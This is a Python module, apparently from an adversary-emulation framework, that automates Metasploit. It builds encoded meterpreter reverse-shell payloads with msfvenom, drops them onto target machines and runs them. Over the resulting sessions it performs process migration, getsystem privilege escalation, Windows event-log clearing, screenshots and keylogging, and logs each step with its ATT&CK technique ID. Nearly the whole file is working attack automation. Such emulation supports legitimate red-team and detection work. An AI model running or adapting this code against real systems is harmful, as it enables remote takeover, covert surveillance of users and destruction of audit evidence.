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628 lines
26 KiB
Python
628 lines
26 KiB
Python
#!/usr/bin/env python3
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from pymetasploit3.msfrpc import MsfRpcClient
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# from app.machinecontrol import Machine
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from app.attack_log import AttackLog
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from app.interface_sfx import CommandlineColors
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import time
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import socket
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from app.exceptions import MetasploitError, ServerError
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import requests
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import random
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import os
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# https://github.com/DanMcInerney/pymetasploit3
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class Metasploit():
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def __init__(self, password, **kwargs):
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"""
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:param password: password for the msfrpcd
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:param kwargs: Relevant ones: uri, port, server, username
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"""
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self.password = password
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self.username = kwargs.get("username", None)
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self.kwargs = kwargs
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self.client = None
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# Optional attacker: If a running attacker machine is passed, we take it and start the msfrpcd
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# Alternative: The server is taken and we expect an already running msfrpcd there
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self.attacker = kwargs.get("attacker", None)
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if self.attacker:
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# we expect a running attacker but without a running msfrcpd
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self.start_msfrpcd()
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kwargs["server"] = self.attacker.get_ip()
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time.sleep(3) # Waiting for server to start. Or we would get https connection errors when getting the client.
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def start_exploit_stub_for_external_payload(self, payload='linux/x64/meterpreter_reverse_tcp', exploit='exploit/multi/handler'):
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"""
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@:returns: res, which contains "job_id" and "uuid"
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"""
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exploit = self.get_client().modules.use('exploit', exploit)
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# print(exploit.description)
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# print(exploit.missing_required)
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payload = self.get_client().modules.use('payload', payload)
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# print(payload.description)
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# print(payload.missing_required)
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payload["LHOST"] = self.attacker.get_ip()
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res = exploit.execute(payload=payload)
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print(res)
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return res
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def start_msfrpcd(self):
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""" Starts the msfrpcs on the attacker. Metasploit must alredy be installed there ! """
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cmd = f"killall msfrpcd; nohup msfrpcd -P {self.password} -U {self.username} -S &"
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self.attacker.remote_run(cmd, disown=True)
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# print("msfrpcd started")
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# breakpoint()
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time.sleep(3)
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def get_client(self):
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""" Get a local metasploit client connected to the metasploit server """
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# print("starting get client")
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# print(f"Password: {self.password}")
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# print(f"Kwargs: {self.kwargs}")
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if self.client:
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return self.client
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self.client = None
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retries = 5
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sleeptime = 5
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while retries:
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try:
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self.client = MsfRpcClient(self.password, **self.kwargs)
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break
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except requests.exceptions.ConnectionError:
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self.start_msfrpcd()
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time.sleep(sleeptime)
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sleeptime += 5
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print("Failed getting connection to msfrpcd. Retries left: {retries}")
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retries -= 1
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if self.client is None:
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raise ServerError("Was not able to properly start and connect to msfrpcd")
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return self.client
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def wait_for_session(self, retries=50):
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""" Wait until we get a session """
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while self.get_client().sessions.list == {}:
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time.sleep(1)
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print(f"Waiting to get any session {retries}")
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retries -= 1
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if retries <= 0:
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raise MetasploitError("Can not find any session")
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def get_sid(self, session_number=0):
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""" Get the first session between hacked target and the metasploit server
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@param session_number: number of the session to get
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"""
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self.wait_for_session()
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return list(self.get_client().sessions.list)[session_number]
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def get_sid_to(self, target):
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""" Get the session to a specified target
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@param target: a target machine to find in the session list
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"""
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print(f"Sessions: {self.get_client().sessions.list}")
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# Get_ip can also return a network name. Matching a session needs a real ip
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name_resolution_worked = True
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try:
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ip = socket.gethostbyname(target.get_ip())
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except socket.gaierror:
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ip = target.get_ip() # Limp on feature if we can not get a name resolution
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name_resolution_worked = False
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print(f"Name resolution for {target.get_ip()} failed. Sessions are: {self.get_client().sessions.list}")
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# TODO: Try to get the ip address from kali system
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retries = 100
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while retries > 0:
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for k, v in self.get_client().sessions.list.items():
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if v["session_host"] == ip:
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# print(f"session list: {self.get_client().sessions.list}")
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return k
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time.sleep(1)
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retries -= 1
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raise MetasploitError(f"Could not find session for {target.get_ip()} Name resolution worked: {name_resolution_worked}")
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def meterpreter_execute(self, cmds: [str], session_number: int, delay=0) -> str:
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""" Executes commands on the meterpreter, returns results read from shell
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@param cmds: commands to execute, a list
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@param session_number: session number
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@param delay: optional delay between calling the command and expecting a result
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@:return: the string results
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"""
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shell = self.client.sessions.session(self.get_sid(session_number))
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res = []
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for cmd in cmds:
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shell.write(cmd.strip())
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time.sleep(delay)
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res.append(shell.read())
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return res
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def meterpreter_execute_on(self, cmds: [str], target, delay=0) -> str:
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""" Executes commands on the meterpreter, returns results read from shell
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@param cmds: commands to execute, a list
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@param target: target machine
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@param delay: optional delay between calling the command and expecting a result
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@:return: the string results
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"""
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session_id = self.get_sid_to(target)
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# print(f"Session ID: {session_id}")
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shell = self.client.sessions.session(session_id)
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res = []
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time.sleep(1) # To ensure an active session
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for cmd in cmds:
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shell.write(cmd)
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time.sleep(delay)
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retries = 20
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r = ""
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while retries > 0:
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r += shell.read()
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time.sleep(0.5) # Command needs time to execute
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retries -= 1
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res.append(r)
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return res
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def smart_infect(self, target, payload_type="windows/x64/meterpreter/reverse_https", payload_name="babymetal.exe"):
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""" Checks if a target already has a meterpreter session open. Will deploy a payload if not """
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# TODO Smart_infect should detect the platform of the target and pick the proper parameters based on that
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try:
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self.start_exploit_stub_for_external_payload(payload=payload_type)
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self.wait_for_session(2)
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except MetasploitError:
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self.attack_logger.vprint(
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f"{CommandlineColors.OKCYAN}Create payload {payload_name} replacement{CommandlineColors.ENDC}",
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1)
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venom = MSFVenom(self.attacker, target, self.attack_logger)
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venom.generate_and_deploy(payload=payload_type,
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architecture="x86",
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platform="windows",
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lhost=self.attacker.get_ip(),
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format="exe",
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outfile=payload_name,
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encoder="x86/shikata_ga_nai",
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iterations=5
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)
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self.attack_logger.vprint(
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f"{CommandlineColors.OKCYAN}Execute {payload_name} replacement - waiting for meterpreter shell{CommandlineColors.ENDC}",
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1)
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self.start_exploit_stub_for_external_payload(payload=payload_type)
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self.wait_for_session()
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##########################################################################
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class MSFVenom():
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def __init__(self, attacker, target, attack_logger: AttackLog):
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"""
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:param attacker: attacker machine
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:param target: target machine
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:param attack_logger: The logger for the attack
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"""
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# https://www.offensive-security.com/metasploit-unleashed/msfvenom/
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self.attacker = attacker
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self.target = target
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self.attack_logger = attack_logger
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def generate_payload(self, **kwargs):
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""" Generates a payload on the attacker machine
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"""
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payload = kwargs.get("payload", None)
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architecture = kwargs.get("architecture", None)
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platform = kwargs.get("platform", self.target.get_os())
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lhost = kwargs.get("lhost", self.attacker.get_ip())
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file_format = kwargs.get("format", None) # file format
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outfile = kwargs.get("outfile", "payload.exe")
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encoder = kwargs.get("encoder", None)
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iterations = kwargs.get("iterations", None)
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cmd = "msfvenom"
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if architecture is not None:
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if architecture not in ["x86", "x64"]:
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raise MetasploitError(f"MSFVenom wrapper does not support architecture {architecture}")
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cmd += f" -a {architecture}"
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if platform is not None:
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if platform not in ["windows", "linux"]:
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raise MetasploitError(f"MSFVenom wrapper does not support platform {platform}")
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cmd += f" --platform {platform}"
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if payload is not None:
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cmd += f" -p {payload}"
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if lhost is not None:
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cmd += f" LHOST={lhost}"
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if file_format is not None:
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cmd += f" -f {file_format}"
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if outfile is not None:
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cmd += f" -o {outfile}"
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if encoder is not None:
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if encoder not in ["x86/shikata_ga_nai"]:
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raise MetasploitError(f"MSFVenom wrapper does not support encoder {encoder}")
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cmd += f" -e {encoder}"
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if iterations is not None:
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cmd += f" -i {iterations}"
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# Detecting all the mistakes that already have been made. To be continued
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# Check if encoder supports the architecture
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if encoder == "x86/shikata_ga_nai" and architecture == "x64":
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raise MetasploitError(f"Encoder {encoder} does not support 64 bit architecture")
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# Check if payload is for the right amount of bit
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if architecture == "x64" and "/x64/" not in payload:
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raise MetasploitError(f"Payload {payload} does not support 64 bit architecture")
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if architecture == "x86" and "/x64/" in payload:
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raise MetasploitError(f"Payload {payload} does not support 32 bit architecture")
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# Check if payload is platform
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if platform not in payload:
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raise MetasploitError(f"Payload {payload} support platform {platform}")
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# Footnote: Currently we only support windows/linux and the "boring" payloads. This will be more tricky as soon as we get creative here
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self.attacker.remote_run(cmd)
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def generate_and_deploy(self, **kwargs):
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""" Will generate the payload and directly deploy it to the target
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:return:
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"""
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self.generate_payload(**kwargs)
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payload_name = kwargs.get("outfile", "payload.exe")
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self.attacker.get(payload_name, self.target.get_machine_path_external())
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src = os.path.join(self.target.get_machine_path_external(), payload_name)
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self.attack_logger.vprint(
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f"{CommandlineColors.OKCYAN}Generated {payload_name}...deploying it{CommandlineColors.ENDC}",
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1)
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# Deploy to target
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if self.attack_logger:
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self.attack_logger.start_file_write("", self.target.get_name(), payload_name)
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playground = self.target.get_playground()
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print(f"Putting to playground {playground}")
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self.target.put(src, playground)
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if self.attack_logger:
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self.attack_logger.stop_file_write("", self.target.get_name(), payload_name)
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if self.target.get_os() == "linux":
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if self.target.get_playground() is not None:
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cmd = f"cd {self.target.get_playground()};"
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else:
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cmd = ""
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cmd += f"chmod +x {payload_name}; ./{payload_name}"
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if self.target.get_os() == "windows":
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cmd = f'{payload_name}'
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print(cmd)
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if self.attack_logger:
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self.attack_logger.start_execute_payload("", self.target.get_name(), cmd)
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res = self.target.remote_run(cmd, disown=True)
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print(f"Running payload, result is {res}")
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if self.attack_logger:
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self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd)
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self.attack_logger.vprint(
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f"{CommandlineColors.OKCYAN}Executed payload {payload_name} on {self.target.get_name()} {CommandlineColors.ENDC}",
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1)
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################
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class MetasploitInstant(Metasploit):
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""" A simple metasploit class with pre-defined metasploit attacks and logging. Just add water
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The attacks pre-defioned in here are the bread-and-butter attacks, the most basic ones. Those you will need all the time when simulating and adversary.
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No need to add specific/specific ones in here. In attack plugins you will find all the features as well. Better code them there.
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"""
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def __init__(self, password, attack_logger, **kwargs):
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"""
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:param password: password for the msfrpcd
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:param attack_logger: The attack logging
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:param kwargs: Relevant ones: uri, port, server, username
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"""
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super().__init__(password, **kwargs)
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self.attack_logger = attack_logger
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def parse_ps(self, ps_output):
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d = []
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for line in ps_output.split("\n")[6:]:
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pieces = line.split(" ")
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cleaned_pieces = []
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for p in pieces:
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if len(p):
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cleaned_pieces.append(p)
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if len(cleaned_pieces) > 2:
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rep = {"PID": int(cleaned_pieces[0].strip()),
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"PPID": int(cleaned_pieces[1].strip()),
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"Name": cleaned_pieces[2].strip(),
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"Arch": None,
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"Session": None,
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"User": None,
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"Path": None}
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if len(cleaned_pieces) >= 4:
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rep["Arch"] = cleaned_pieces[3].strip()
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if len(cleaned_pieces) >= 5:
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rep["Session"] = int(cleaned_pieces[4].strip())
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if len(cleaned_pieces) >= 6:
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rep["User"] = cleaned_pieces[5].strip()
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if len(cleaned_pieces) >= 7:
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rep["Path"] = cleaned_pieces[6].strip()
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d.append(rep)
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return d
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def filter_ps_results(self, data, user=None, name=None, arch=None):
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""" Filter the process lists for certain
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@param user: The user to filter for.
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@param name: The process name to filter for (executable name)
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@param arch: The architecture to select. 'x64' is one option
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"""
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res = data
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if user is not None:
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res = [item for item in res if item["User"] == user]
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if name is not None:
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res = [item for item in res if item["Name"].lower() == name.lower()]
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if arch is not None:
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res = [item for item in res if item["Arch"] == arch]
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return res
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def ps_process_discovery(self, target):
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""" Do a process discovery on the target """
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command = "ps -ax"
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ttp = "T1057"
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self.attack_logger.vprint(
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f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
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self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
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target=target.get_ip(),
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metasploit_command=command,
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ttp=ttp)
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res = self.meterpreter_execute_on([command], target)
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self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
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target=target.get_ip(),
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metasploit_command=command,
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ttp=ttp)
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return res
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def migrate(self, target, user=None, name=None, arch=None):
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""" Migrate to a process matching certain criteria
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@param user: The user to filter for.
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@param name: The process name to filter for (executable name)
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@param arch: The architecture to select. 'x64' is one option
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"""
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ttp = "T1055"
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process_list = self.ps_process_discovery(target)
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ps = self.parse_ps(process_list[0])
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filtered_list = self.filter_ps_results(ps, user, name, arch)
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if len(filtered_list) == 0:
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print(process_list)
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raise MetasploitError("Did not find a matching process to migrate to")
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# picking random target process
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target_process = random.choice(filtered_list)
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print(f"Migrating to process {target_process}")
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command = f"migrate {target_process['PID']}"
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self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
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target=target.get_ip(),
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metasploit_command=command,
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ttp=ttp)
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res = self.meterpreter_execute_on([command], target)
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print(res)
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self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
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target=target.get_ip(),
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metasploit_command=command,
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ttp=ttp)
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return res
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def arp_network_discovery(self, target):
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""" Do a network discovery on the target """
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command = "arp"
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ttp = "T1016"
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self.attack_logger.vprint(
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f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
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self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
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target=target.get_ip(),
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metasploit_command=command,
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ttp=ttp)
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res = self.meterpreter_execute_on([command], target)
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print(res)
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self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
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target=target.get_ip(),
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metasploit_command=command,
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ttp=ttp)
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return res
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def getsystem(self, target):
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""" Do a network discovery on the target """
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command = "getsystem"
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ttp = "????" # It uses one out of three different ways to elevate privileges.
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# https://docs.rapid7.com/metasploit/meterpreter-getsystem/
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self.attack_logger.vprint(
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f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
target=target.get_ip(),
|
|
metasploit_command=command,
|
|
ttp=ttp)
|
|
res = self.meterpreter_execute_on([command], target)
|
|
print(res)
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
target=target.get_ip(),
|
|
metasploit_command=command,
|
|
ttp=ttp)
|
|
return res
|
|
|
|
def clearev(self, target):
|
|
""" Clears windows event logs """
|
|
|
|
command = "clearev"
|
|
ttp = "T1070.001" # It uses one out of three different ways to elevate privileges.
|
|
|
|
self.attack_logger.vprint(
|
|
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
target=target.get_ip(),
|
|
metasploit_command=command,
|
|
ttp=ttp)
|
|
res = self.meterpreter_execute_on([command], target)
|
|
print(res)
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
target=target.get_ip(),
|
|
metasploit_command=command,
|
|
ttp=ttp)
|
|
return res
|
|
|
|
def screengrab(self, target):
|
|
""" Creates a screenshot
|
|
|
|
Before using it, migrate to a process running while you want to monitor.
|
|
One with the permission "NT AUTHORITY\\SYSTEM"
|
|
"""
|
|
|
|
command = "screengrab"
|
|
ttp = "T1113" # It uses one out of three different ways to elevate privileges.
|
|
|
|
self.attack_logger.vprint(
|
|
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
target=target.get_ip(),
|
|
metasploit_command=command,
|
|
ttp=ttp)
|
|
res = self.meterpreter_execute_on(["use espia"], target)
|
|
print(res)
|
|
res = self.meterpreter_execute_on([command], target)
|
|
print(res)
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
target=target.get_ip(),
|
|
metasploit_command=command,
|
|
ttp=ttp)
|
|
return res
|
|
|
|
def keylogging(self, target, monitoring_time):
|
|
""" Starts keylogging
|
|
|
|
Before using it, migrate to a process running while you want to monitor.
|
|
|
|
"winlogon.exe" will monitor user logins. "explorer.exe" during the session.
|
|
|
|
@param monitoring_time: Seconds the keylogger is running
|
|
@param monitoring_time: The time to monitor the keys. In seconds
|
|
"""
|
|
|
|
command = "keyscan_start"
|
|
ttp = "T1056.001" # It uses one out of three different ways to elevate privileges.
|
|
|
|
self.attack_logger.vprint(
|
|
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
target=target.get_ip(),
|
|
metasploit_command=command,
|
|
ttp=ttp)
|
|
res = self.meterpreter_execute_on([command], target)
|
|
print(res)
|
|
time.sleep(monitoring_time)
|
|
res = self.meterpreter_execute_on(["keyscan_dump"], target)
|
|
print(res)
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
target=target.get_ip(),
|
|
metasploit_command=command,
|
|
ttp=ttp)
|
|
return res
|
|
|
|
def getuid(self, target):
|
|
""" Returns the UID
|
|
|
|
"""
|
|
|
|
command = "getuid"
|
|
ttp = "T1056.001" # It uses one out of three different ways to elevate privileges.
|
|
|
|
self.attack_logger.vprint(
|
|
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
target=target.get_ip(),
|
|
metasploit_command=command,
|
|
ttp=ttp)
|
|
res = self.meterpreter_execute_on([command], target)
|
|
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
target=target.get_ip(),
|
|
metasploit_command=command,
|
|
ttp=ttp)
|
|
return res[0]
|
|
|
|
def sysinfo(self, target):
|
|
""" Returns the sysinfo
|
|
|
|
"""
|
|
|
|
command = "sysinfo"
|
|
ttp = "T1082" # It uses one out of three different ways to elevate privileges.
|
|
|
|
self.attack_logger.vprint(
|
|
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
target=target.get_ip(),
|
|
metasploit_command=command,
|
|
ttp=ttp)
|
|
res = self.meterpreter_execute_on([command], target)
|
|
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
target=target.get_ip(),
|
|
metasploit_command=command,
|
|
ttp=ttp)
|
|
return res[0]
|